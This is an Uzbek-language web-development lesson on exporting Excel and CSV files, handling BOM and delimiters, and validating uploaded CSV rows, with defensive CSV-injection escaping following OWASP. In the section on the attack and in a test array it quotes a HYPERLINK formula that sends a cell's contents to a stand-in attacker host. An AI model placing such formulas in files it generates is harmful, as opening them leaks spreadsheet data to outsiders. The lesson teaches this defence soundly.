Mundarija (26)
- Bu darsda
- 1. Nega bu kerak?
- 2. Excel eksport: ExcelJS
- 2.1 Ikki rejim
- 2.2 Streaming kodi
- 3. CSV eksport
- 3.1 Qo'shtirnoqlash qoidasi
- 3.2 BOM va kodirovka
- 4. CSV injection
- 4.1 Hujum
- 4.2 Narxi: raqamlar ham ekranlanadi
- 5. CSV import
- 5.1 Oqim + validatsiya
- 5.2 Hammasi yoki hech narsa?
- 5.3 Papa Parse
- 6. Kutubxonalar xaritasi
- 7. Hujumchi nigohi
- 8. Ko'p uchraydigan xatolar
- 9. Mashqlar
- 1-mashq (oson): to'g'ri yoki noto'g'ri
- 2-mashq (o'rta): qatorma-qator tekshiruv
- 3-mashq (qiyin): qo'shtirnoqli CSV o'quvchi
- 10. Loyiha qadami: kanon tajribasi, loyihaga hali kirmaydi
- 11. Real ishda
- Xulosa
- Manbalar
Excel va CSV: eksport va xavfsiz import
Qisqacha: Ma'lumotni jadvalga chiqarish (eksport) va foydalanuvchi jadvalini qabul qilish (import) — ikki xil xavf. Eksportda xavf — xotira (100 000 qator oddiy ExcelJS'da RSS ni +643 MB oshirdi, streaming writer'da +21.5 MB) va CSV injection:
=bilan boshlangan katak Excel'da formula bo'lib ishlaydi. Importda xavf — ishonchsiz ma'lumot: har qator alohida tekshiriladi va xato qator raqami bilan qaytariladi. O'zbek matni uchun CSV boshida BOM bo'lmasa, ExcelOʻqishniOÊ»qishqilib ko'rsatadi.
Bu darsda
- Katta Excel faylni xotirani to'ldirmasdan oqim bilan yozasiz.
- CSV'ni to'g'ri qo'shtirnoqlaysiz, BOM va kodirovka muammosini tushunasiz.
- CSV injection hujumini va OWASP tavsiya qilgan himoyani ishlatasiz.
- Yuklangan CSV'ni qatorma-qator tekshirib, xatolarni qator raqami bilan qaytarasiz.
- ExcelJS, csv-parse, Papa Parse va SheetJS orasida tanlaysiz.
Oldin bilishingiz kerak: Zod 4 serverda, Async iteratorlar va Web Streams, Backpressure, Ommaviy ma'lumot: COPY, batch va cursor.
Oldingi darsda hisobotni PDF qildik — chop etish uchun. Lekin buxgalter hisobotni o'zgartirmoqchi, saralamoqchi, formulalar qo'shmoqchi. Unga jadval kerak.
1. Nega bu kerak?
Ikki real so'rov:
- Eksport. Jasur aka: "Barcha vazifalarimni Excel'da bering — o'zim tahlil qilaman." 3 yil ichida 100 000 vazifa.
- Import. Sardor (stajyor) 500 ta vazifani eski tizimdan CSV qilib olib keldi: "Shuni yuklab bering."
Ikkalasi oddiy tuyuladi. Lekin eksport serverni yiqitishi, import esa bazani axlat bilan to'ldirishi mumkin. Excel faylni ochgan odamning kompyuteri esa hujumga uchrashi mumkin.
| Format | Afzallik | Kamchilik |
|---|---|---|
| CSV | oddiy matn, oqim bilan oson, har dastur o'qiydi | turlar yo'q (hammasi satr), kodirovka va ajratgich muammosi |
| XLSX | turlar (son, sana), formatlash, bir nechta varaq | ZIP ichida XML — og'irroq, kutubxona kerak |
2. Excel eksport: ExcelJS
2.1 Ikki rejim
npm i exceljs@4.4.0ExcelJS'da ikki yo'l bor. Oddiy Workbook — butun kitob xotirada, oxirida yoziladi. stream.xlsx.WorkbookWriter — har qator yozilgach (commit()) xotiradan chiqadi. Kanon 100 000 qatorni (ID, matn, bajarildi, sana, summa) ikkala usulda yozdi:
oddiy: 4130 ms, RSS +643.1 MB, fayl 2.9 MB
stream: 4793 ms, RSS +21.5 MB, fayl 3.2 MB
qayta o'qildi: 100001 qator; 2-qator: [1,"Oʻqish: 1-bob",false,"2026-10-02T00:00:00.000Z",12.5]- Oddiy rejim: 2.9 MB fayl uchun +643 MB xotira. Uchta foydalanuvchi bir vaqtda eksport qilsa — server ~2 GB yo'qotadi.
- Streaming: +21.5 MB, 30 barobar kam. Bu o'lchovda biroz sekinroq (4.8 s va 4.1 s) va fayl biroz kattaroq (umumiy satrlar jadvali ishlatilmadi).
- Qayta o'qish: 100 000 + sarlavha = 100 001 qator;
Oʻva sana to'g'ri saqlangan.
Maslahat: RSS o'lchovi har ishga tushirishda boshqacha chiqadi: kanonning boshqa bir yurgizishida +926 → +97 MB bo'lgan. Darsda oxirgi o'lchov raqamlari berildi. Xulosa bir xil: streaming xotirani o'nlab barobar kamaytiradi.
2.2 Streaming kodi
import ExcelJS from "exceljs";
const wb = new ExcelJS.stream.xlsx.WorkbookWriter({
stream: res, // Express javobi — to'g'ridan mijozga
useStyles: true, useSharedStrings: false,
});
const ws = wb.addWorksheet("Vazifalar");
ws.columns = [
{ header: "ID", key: "id" },
{ header: "Matn", key: "matn", width: 30 },
{ header: "Bajarildi", key: "bajarildi" },
{ header: "Muddat", key: "muddat",
style: { numFmt: "dd.mm.yyyy" } },
{ header: "Summa (so'm)", key: "summa",
style: { numFmt: "#,##0.00" } },
];
for await (const q of bazadanQatorlar()) {
ws.addRow(q).commit(); // qator xotiradan chiqadi
}
ws.commit();
await wb.commit();bazadanQatorlar()— bazadan kursor bilan o'qiydigan async generator (Ommaviy ma'lumot: COPY, batch va cursor). 100 000 qatorni bittaSELECTbilan xotiraga olsangiz, streaming yozuvchining foydasi yo'qoladi.numFmt— Excel ko'rinishi: sana28.10.2026, summa1 250,00(mintaqa sozlamasiga qarab).- Kanon faylga yozdi;
stream: res— javobga to'g'ridan. Bu variant kanonda sinalmagan.
3. CSV eksport
3.1 Qo'shtirnoqlash qoidasi
CSV (RFC 4180) qoidasi oddiy: maydonda ajratgich, qo'shtirnoq yoki yangi qator bo'lsa — maydon "…" ichiga olinadi, ichidagi " ikkilanadi (""). Kanon csv-stringify 6.9.0 bilan oqim yozdi:
100000 qator: 1422 ms, 4.7 MB
BOM: efbbbf (EF BB BF — Excel Windows'da UTF-8 ni shunsiz cp1251/1252 deb ochadi: 'OÊ»qish' kabi)
Ajratgich: Excel ro'yxat ajratgichi mintaqaga bog'liq (ru/uz sozlamada ';') — sinalmagan (Excel yo'q); variantlar: delimiter ';' yoki XLSX.100 000 qator — 1.4 s, 4.7 MB (Excel'ning 3 MB idan katta — CSV siqilmagan matn).
3.2 BOM va kodirovka
BOM (Byte Order Mark — bayt tartibi belgisi) — fayl boshidagi EF BB BF baytlari: "bu fayl UTF-8". Excel Windows'da busiz CSV'ni eski kodlashda (Windows-1252) o'qiydi. Natijani o'zimiz ko'ramiz:
const bom = new TextEncoder().encode("\uFEFF");
console.log([...bom].map((b) => b.toString(16)).join(""));
const utf8 = new TextEncoder().encode("Oʻqish");
console.log(new TextDecoder("windows-1252").decode(utf8));
console.log(new TextDecoder().decode(utf8));
const bomli = new TextEncoder().encode("\uFEFFmatn;muddat");
const birinchi = new TextDecoder("utf-8", { ignoreBOM: true })
.decode(bomli).split(";")[0];
console.log(birinchi.length, birinchi.codePointAt(0).toString(16));Konsolda:
efbbbf
Oʻqish
Oʻqish
5 feff- Ikkinchi qator — kanon izohidagi
OÊ»qishning aynan o'zi:ʻUTF-8 da 2 bayt (CA BB), Windows-1252 ularni ikki alohida belgi (Ê,») deb o'qidi. - Oxirgi qator — importdagi tuzoq: BOM olib tashlanmasa, birinchi ustun nomi
"matn"emas, 5 belgili"\uFEFF" + "matn"bo'ladi. Kodqator.matnni izlaydi — topmaydi. Kanon csv-parse'da aynan shuni ko'rdi (bom: truesiz).
Ajratgich ham muammo: O'zbekiston va Rossiya mintaqa sozlamasida Excel ro'yxat ajratgichi — ; (vergul o'nli kasr uchun band). Kanon Excel'da sinamadi (Excel yo'q). Ikki yo'l: ; bilan CSV yoki XLSX — XLSX'da bu muammo yo'q.
4. CSV injection
4.1 Hujum
Foydalanuvchi vazifa matniga shunday yozdi: =HYPERLINK("http://yomon.example/?d="&A1,"bosing"). Jasur aka eksportni Excel'da ochadi. Katak formula bo'lib ishlaydi: chiroyli "bosing" havolasi chiqadi. Bosilsa, A1 katakdagi ma'lumot hujumchi saytiga ketadi. =, +, -, @ bilan boshlanadigan har katak formula bo'lishi mumkin; tab va CR ham ba'zi dasturlarda.
Himoya (OWASP tavsiyasi): xavfli belgi bilan boshlangan katak boshiga ' qo'yish — Excel uni matn deb ko'rsatadi. Kanon funksiyasi va o'zimizning RFC 4180 qo'shtirnoqlashimiz:
const xavfli = [
'=HYPERLINK("http://yomon.example/?d="&A1,"bosing")',
"+1+1", "-2+3", "@SUM(1,1)", "\t=1+1", "\r=1+1",
"oddiy matn", "-5", "+998901234567",
];
function maydon(v) {
const s = String(v);
return /[",\r\n]/.test(s) ? `"${s.replaceAll('"', '""')}"` : s;
}
const ekranla = (v) => (/^[=+\-@\t\r]/.test(v) ? `'${v}` : v);
const korsat = (s) =>
s.replaceAll("\r", "\\r").replaceAll("\t", "\\t");
for (const v of xavfli) {
console.log(korsat(maydon(ekranla(v))));
}Konsolda:
"'=HYPERLINK(""http://yomon.example/?d=""&A1,""bosing"")"
'+1+1
'-2+3
"'@SUM(1,1)"
'\t=1+1
"'\r=1+1"
oddiy matn
'-5
'+998901234567Kanonning csv-stringify bilan olgan "ekranlangan" chiqishi bilan qatorma-qator bir xil (korsat — tab va CR ni ko'rinadigan qilish uchun):
ekranlangan (OWASP: boshiga '):
"'=HYPERLINK(""http://yomon.example/?d=""&A1,""bosing"")"
'+1+1
'-2+3
"'@SUM(1,1)"
'\t=1+1
"'\r=1+1"
oddiy matn
'-5
'+9989012345674.2 Narxi: raqamlar ham ekranlanadi
Oxirgi ikki qatorga qarang: -5 va +998901234567 (telefon raqami) ham ' oldi. Excel ularni endi son emas, matn deb ko'radi — yig'indi hisoblanmaydi. Kanon izohi: qaror ustun turiga qarab. Son ustunini (summa) faqat son qilib yozing (Number) — ekranlash shart emas; matn ustunini (vazifa matni, izoh, ism) har doim ekranlang. XLSX'da ExcelJS qiymat turini o'zi yozadi: satr — satr, formula faqat { formula: … } bilan — shuning uchun XLSX'da bu xavf ancha kichik.
csv-stringify 6.9 da tayyor opsiya bor:
csv-stringify `escape_formulas` opsiyasi: "'=1+1\n'-2\noddiy\n"Tekshirib ko'ring: Nega himoya eksportda, importda emas? Axir xavfli matn importda bazaga kirgan.
Javob
=SUM(A1) — vazifa matni sifatida mutlaqo zararsiz: ilova uni oddiy matn ko'rsatadi. Xavf faqat u Excel'da ochilganda paydo bo'ladi. Kontekstga qarab ekranlash — HTML'da <, SQL'da parametr, CSV'da '. Kirishda "taqiqlash" foydalanuvchini ham bezovta qiladi (-5 daraja degan vazifa yozib bo'lmaydi).
5. CSV import
5.1 Oqim + validatsiya
Kanon ; ajratgichli faylni csv-parse 7.0.3 oqimi bilan o'qib, har qatorni Zod sxemasi bilan tekshirdi:
import { parse } from "csv-parse";
import { z } from "zod";
const Sxema = z.object({
matn: z.string().trim().min(1).max(100),
muddat: z.iso.date(),
ustuvorlik: z.enum(["past", "orta", "yuqori"]),
});
const togri = [], xatolar = [];
try {
const oqim = createReadStream("import.csv").pipe(parse({
bom: true, columns: true, delimiter: ";", info: true,
}));
for await (const yozuv of oqim) {
const r = Sxema.safeParse(yozuv.record);
if (r.success) togri.push(r.data);
else xatolar.push(`${yozuv.info.lines}-qator: ` +
r.error.issues.map((i) => `${i.path.join(".")}: ${i.message}`)
.join("; "));
}
} catch (e) {
xatolar.push(`parse to'xtadi: ${e.code} — ${e.message}`);
}Kirish fayli (7 qator, ataylab xatolar bilan, birinchi belgi — BOM):
matn;muddat;ustuvorlik
Non olish;2026-10-30;yuqori
;2026-10-30;orta
Kitob o'qish;30.10.2026;past
"Qo'shtirnoq ""ichida""";2026-11-01;orta
Uzun;2026-11-01;juda
"yopilmagan;2026-11-01;ortaNatija (kanon):
to'g'ri: [{"matn":"Non olish","muddat":"2026-10-30","ustuvorlik":"yuqori"},{"matn":"Qo'shtirnoq \"ichida\"","muddat":"2026-11-01","ustuvorlik":"orta"}]
xatolar:
3-qator: matn: Too small: expected string to have >=1 characters
4-qator: muddat: Invalid ISO date
6-qator: ustuvorlik: Invalid option: expected one of "past"|"orta"|"yuqori"
parse to'xtadi: CSV_QUOTE_NOT_CLOSED — Quote Not Closed: the parsing is finished with an opening quote at line 7- 3-qator — bo'sh matn ("juda kichik: kamida 1 belgi kutilgan").
- 4-qator —
30.10.2026ISO sana emas. O'zbekistonda foydalanuvchilar shunday yozadi — importda formatni hujjatlang yoki ikkala formatni qabul qiling. - 6-qator —
judaruxsat etilgan qiymatlardan emas. - 7-qator — yopilmagan qo'shtirnoq: butun tahlil to'xtadi. Sintaksis xatosidan keyin csv-parse qayerda qator tugashini bilmaydi.
info.lines— fayldagi haqiqiy qator raqami (sarlavha 1-qator). Foydalanuvchi faylni ochib, aynan shu qatorni topadi.
5.2 Hammasi yoki hech narsa?
Ikki siyosat bor:
| Siyosat | Qachon |
|---|---|
| Xato bo'lsa — hech narsa yozilmaydi, xatolar ro'yxati qaytadi | pul, buyurtmalar — yarim import xavfli |
| To'g'ri qatorlar yoziladi, xatolilar hisobotda | vazifalar, kontaktlar — foydalanuvchi qolganini tuzatadi |
Ikkalasida ham bazaga yozish — bitta tranzaksiyada va partiyalab (har 1 000 qator) (Tranzaksiya asoslari). Import uzoq bo'lsa — navbatda, natija hisobot bilan.
5.3 Papa Parse
qatorlar: 6 | xatolar: [{"qator":6,"kod":"MissingQuotes"},{"qator":5,"kod":"TooFewFields"}]Papa Parse (5.7.0) — brauzerda ham ishlaydi. U o'sha faylni to'xtamasdan o'qidi va xatolarni ro'yxat qildi. Uning row raqami 0 dan va sarlavhasiz hisoblanadi — 6 va 5 — ma'lumot qatorlari indeksi, fayl qatori emas. Kanon shu faylni csv-parse bilan bom: true siz ham o'qidi: birinchi ustun nomi oldida ko'rinmas \uFEFF belgisi turibdi (saytda ko'rinmagani uchun o'sha chiqish qatorini bu yerga ko'chirmadik) — BOM tuzog'ining isboti.
Papa Parse'ning foydasi: frontend faylni yuklashdan oldin ko'rib chiqadi va xatolarni darhol ko'rsatadi. Lekin server baribir o'zi tekshiradi — mijoz tekshiruvi qulaylik, himoya emas.
6. Kutubxonalar xaritasi
| Kutubxona | Nima uchun | Holat (kanon, 2026-10) |
|---|---|---|
| ExcelJS 4.4.0 | XLSX o'qish/yozish, streaming | kanon tanlovi; npm'dagi oxirgi reliz — 2023-10-19 |
| csv-stringify / csv-parse | CSV oqim bilan, Node | kanon tanlovi |
| Papa Parse 5.7.0 | CSV brauzerda va Node'da | sinaldi |
| fast-csv | CSV oqim, muqobil | sinalmagan |
SheetJS (xlsx) |
ko'p format | npm'da 0.18.5 (2022-03-24) |
SheetJS haqida: npm'dagi xlsx paketi latest — 0.18.5, 2022-yil martdan beri yangilanmagan. Yangi versiyalarni SheetJS o'z CDN'idan tarqatadi (hujjat bo'yicha; kanonda sinalmagan). npm i xlsx bilan eski versiya o'rnatiladi — xavfsizlik yamoqlarisiz. Kanon ExcelJS'ni tanladi. Halol eslatma: ExcelJS ham npm'da 2023-yil oktabrdan beri yangi reliz chiqarmagan (biz npm view bilan tekshirdik, 2026-10-28) — katta loyihada kutubxona holatini o'zingiz kuzating.
flowchart LR
F[Foydalanuvchi CSV] --> L[Hajm limiti, multipart]
L --> P[csv-parse oqimi: bom, delimiter]
P --> V{Zod: qator to'g'rimi?}
V -->|ha| T[Partiya 1000, tranzaksiya]
V -->|yo'q| X[Xato: N-qator, maydon]
T --> D[(Baza)]
X --> H[Hisobot foydalanuvchiga]7. Hujumchi nigohi
- CSV injection. Eksportdagi
=,+,-,@, tab, CR. Himoya: matn ustunlarida'prefiks yoki XLSX. - Xotira tugashi (eksport). 1 mln qator oddiy rejimda. Himoya: streaming yozuvchi + bazadan kursor.
- Ulkan import fayli. 2 GB CSV. Himoya: yuklash limiti (Fayl yuklash: multipart va Multer), qatorlar soni limiti, oqim bilan o'qish.
- Zip bomba (XLSX). XLSX — ZIP. Kichik fayl ochilganda gigabaytlar. Himoya: XLSX importini cheklang yoki ochilgan hajmni kuzating (Fayl yuklash xavfsizligi).
- Mass assignment. CSV'da
egasi_idustuni — hujumchi boshqa odamga vazifa yozadi. Himoya: sxema faqat ruxsat etilgan ustunlarni oladi,egasi_id— sessiyadan (Backend'dagi injection va mass assignment).
8. Ko'p uchraydigan xatolar
| Xato | Sabab | Davosi |
|---|---|---|
Excel'da Oʻqish |
BOM yo'q | bom: true (eksport) |
| Birinchi ustun "topilmadi" | importda BOM olinmadi | bom: true (import) |
| Hamma ma'lumot bitta ustunda | ajratgich ,, Excel ; kutadi |
; yoki XLSX |
| Eksportda server xotirasi to'ldi | oddiy Workbook |
WorkbookWriter + commit() |
'-5 matn bo'lib qoldi |
son ustuni ham ekranlandi | ustun turiga qarab |
| Import butunlay to'xtadi | yopilmagan qo'shtirnoq | foydalanuvchiga qator raqami bilan ayting |
| "Xato bor" — qayerda? | qator raqami yo'q | info.lines |
9. Mashqlar
Mashqlar kurs/mashqlar/29/10-excel-csv/ da.
1-mashq (oson): to'g'ri yoki noto'g'ri
- UTF-8 BOM —
EF BB BFbaytlari. - CSV injection'dan himoya importda qilinadi.
- ExcelJS streaming yozuvchida har qatordan keyin
commit()chaqiriladi. - csv-parse yopilmagan qo'shtirnoqdan keyin qolgan qatorlarni o'qishda davom etadi.
Yechim
- To'g'ri —
\uFEFFning UTF-8 ko'rinishi. - Noto'g'ri — eksportda, Excel konteksti uchun.
- To'g'ri — qator xotiradan chiqadi.
- Noto'g'ri — tahlil
CSV_QUOTE_NOT_CLOSEDbilan to'xtaydi (Papa Parse esa davom etadi).
2-mashq (o'rta): qatorma-qator tekshiruv
Zod'siz tekshir(q) funksiyasini yozing: matn (trim'dan keyin 1–100 belgi), muddat (YYYY-MM-DD va haqiqiy sana), ustuvorlik (past|orta|yuqori). Xatolar massivini qaytarsin. Keyin to'rt qatorni tekshirib, to'g'rilar sonini va xatolarni N-qator: … shaklida chiqaring (sarlavha — 1-qator).
Yechim
const qatorlar = [
{ matn: "Non olish", muddat: "2026-10-30", ustuvorlik: "yuqori" },
{ matn: " ", muddat: "2026-10-30", ustuvorlik: "orta" },
{ matn: "Kitob o'qish", muddat: "30.10.2026", ustuvorlik: "past" },
{ matn: "Uzun", muddat: "2026-11-01", ustuvorlik: "juda" },
];
const USTUVORLIK = ["past", "orta", "yuqori"];
function tekshir(q) {
const x = [];
const matn = q.matn.trim();
if (matn.length < 1 || matn.length > 100) {
x.push("matn: 1–100 belgi");
}
if (!/^\d{4}-\d{2}-\d{2}$/.test(q.muddat) ||
Number.isNaN(Date.parse(q.muddat))) {
x.push("muddat: YYYY-MM-DD");
}
if (!USTUVORLIK.includes(q.ustuvorlik)) {
x.push(`ustuvorlik: ${USTUVORLIK.join("|")}`);
}
return x;
}
const togri = [];
const xatolar = [];
qatorlar.forEach((q, i) => {
const x = tekshir(q);
if (x.length) xatolar.push(`${i + 2}-qator: ${x.join("; ")}`);
else togri.push({ ...q, matn: q.matn.trim() });
});
console.log("to'g'ri:", togri.length);
console.log(xatolar.join("\n"));Konsolda:
to'g'ri: 1
3-qator: matn: 1–100 belgi
4-qator: muddat: YYYY-MM-DD
5-qator: ustuvorlik: past|orta|yuqorii + 2 — massiv indeksi 0 dan, sarlavha esa fayldagi 1-qator. Bitta qatorda bir nechta xato bo'lsa — hammasi ; bilan (foydalanuvchi bir marta tuzatadi). Bu — Zod'ning safeParse + issues qiladigan ishi; real loyihada Zod'ni ishlating (Zod 4 serverda).
3-mashq (qiyin): qo'shtirnoqli CSV o'quvchi
csvOqi(matn, ajratgich = ";") funksiyasini yozing: qatorlar massivini (har biri maydonlar massivi) qaytarsin. Qoidalar: "…" ichida ajratgich va yangi qator — maydonning bir qismi; "" — bitta "; \r e'tiborsiz. Qo'shtirnoq yopilmasa — Error("yopilmagan qo'shtirnoq: N-qator"), N — qo'shtirnoq ochilgan qator. Uch holat bilan sinang.
Yechim
function csvOqi(matn, ajratgich = ";") {
const qatorlar = [];
let qator = [];
let maydon = "";
let ichida = false;
let raqam = 1;
let boshlangan = 1;
for (let i = 0; i < matn.length; i++) {
const c = matn[i];
if (ichida) {
if (c === '"' && matn[i + 1] === '"') { maydon += '"'; i++; }
else if (c === '"') ichida = false;
else { if (c === "\n") raqam++; maydon += c; }
} else if (c === '"') {
ichida = true;
boshlangan = raqam;
} else if (c === ajratgich) {
qator.push(maydon); maydon = "";
} else if (c === "\n") {
qator.push(maydon); qatorlar.push(qator);
qator = []; maydon = ""; raqam++;
} else if (c !== "\r") {
maydon += c;
}
}
if (ichida) {
throw new Error(`yopilmagan qo'shtirnoq: ${boshlangan}-qator`);
}
if (maydon !== "" || qator.length) {
qator.push(maydon);
qatorlar.push(qator);
}
return qatorlar;
}
console.log(csvOqi('matn;holat\n"Qo\'shtirnoq ""ichida""";orta\n'));
console.log(csvOqi('a;"ikki\nqator";b'));
try {
csvOqi('matn;holat\nNon;orta\n"yopilmagan;orta\n');
} catch (e) { console.log(e.message); }Konsolda:
[ [ 'matn', 'holat' ], [ `Qo'shtirnoq "ichida"`, 'orta' ] ]
[ [ 'a', 'ikki\nqator', 'b' ] ]
yopilmagan qo'shtirnoq: 3-qatorBu — holat mashinasi: ichida bayrog'i "qo'shtirnoq ichidamizmi" ni eslaydi. Ikkinchi natija ko'rsatadi: bitta CSV yozuv bir nechta fayl qatori bo'lishi mumkin — shuning uchun split("\n") bilan CSV o'qish xato. csv-parse ham xuddi shunday 7-qatorni ko'rsatdi. O'quv parseri: production'da csv-parse yoki Papa Parse.
10. Loyiha qadami: kanon tajribasi, loyihaga hali kirmaydi
Bu darsda vazifalar-api ga kod qo'shilmaydi. Kanon ExcelJS (oddiy va streaming), csv-stringify/csv-parse, CSV injection, Zod bilan import va Papa Parse'ni faqat tajribada o'lchadi. Sabab: eksport va import — uzoq ishlar, ular navbatga bog'liq (BullMQ asoslari); import esa auth'ga (kimning vazifalari) — 28-qism.
O'zingiz sinab ko'ring: alohida papkada npm i exceljs@4.4.0, 100 000 qatorni oddiy va streaming rejimda yozing, process.memoryUsage().rss ni har 10 ms da o'lchang. Sizning raqamlaringiz kanondagidan farq qiladi — nisbat esa saqlanadi.
11. Real ishda
- Buxgalteriya, CRM, 1C bilan almashinuv — eksport/import ko'pincha CSV yoki XLSX;
;ajratgich va eski kodlashdagi (Windows-1251) fayllar ham uchrab turadi. - Bank ko'chirmalari — CSV import, har qator tekshiruv bilan; xatoli qator — qayta ko'rib chiqish navbatiga.
- Admin panellar — "Excel'ga yuklab olish" tugmasi; 10 000 dan ko'p qatorda — fon vazifa va xatga havola.
- Intervyuda: "1 mln qatorli Excel'ni qanday eksport qilasiz?", "CSV injection nima?", "Import xatolarini foydalanuvchiga qanday qaytarasiz?"
Xulosa
- ExcelJS oddiy rejimi 100 000 qatorda +643 MB, streaming +21.5 MB — katta eksport faqat oqim bilan, bazadan kursor bilan.
- CSV: maydonda
", ajratgich yoki yangi qator bo'lsa — qo'shtirnoq,""— bitta qo'shtirnoq. - BOM (
EF BB BF) bo'lmasa ExcelOʻqishko'rsatadi; importda BOM olinmasa birinchi ustun nomi buziladi. - CSV injection:
=,+,-,@, tab, CR bilan boshlangan matnga'; son ustunlari — ustun turiga qarab. - Import: oqim + qatorma-qator validatsiya + qator raqami; yopilmagan qo'shtirnoq tahlilni to'xtatadi.
- SheetJS npm'da 2022 dan yangilanmagan — kanon ExcelJS.
Keyingi dars: Fayl yuklab berish va arxivlash — Content-Disposition bilan to'g'ri nom, Range so'rovlari va bir nechta faylni ZIP oqimi.
Manbalar
- ExcelJS — streaming I/O (
WorkbookWriter): https://github.com/exceljs/exceljs#streaming-io - csv-parse va csv-stringify (
bom,info,escape_formulas): https://csv.js.org/ - RFC 4180 — CSV formati: https://www.rfc-editor.org/rfc/rfc4180
- OWASP — CSV Injection: https://owasp.org/www-community/attacks/CSV_Injection
- Papa Parse: https://www.papaparse.com/docs
- SheetJS — o'rnatish (CDN tarqatish): https://docs.sheetjs.com/docs/getting-started/installation/nodejs
- Kanon tajribasi (IlmHamroh, 2026-10-27): exceljs 4.4.0, csv-stringify 6.9.0, csv-parse 7.0.3, papaparse 5.7.0, zod 4.6.7, Node 24.21.0, Windows 11. Excel'ning o'zida ochish — sinalmagan. Ekranlash, BOM, parser va mashq yechimlari — biz ishga tushirdik (2026-10-28).
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!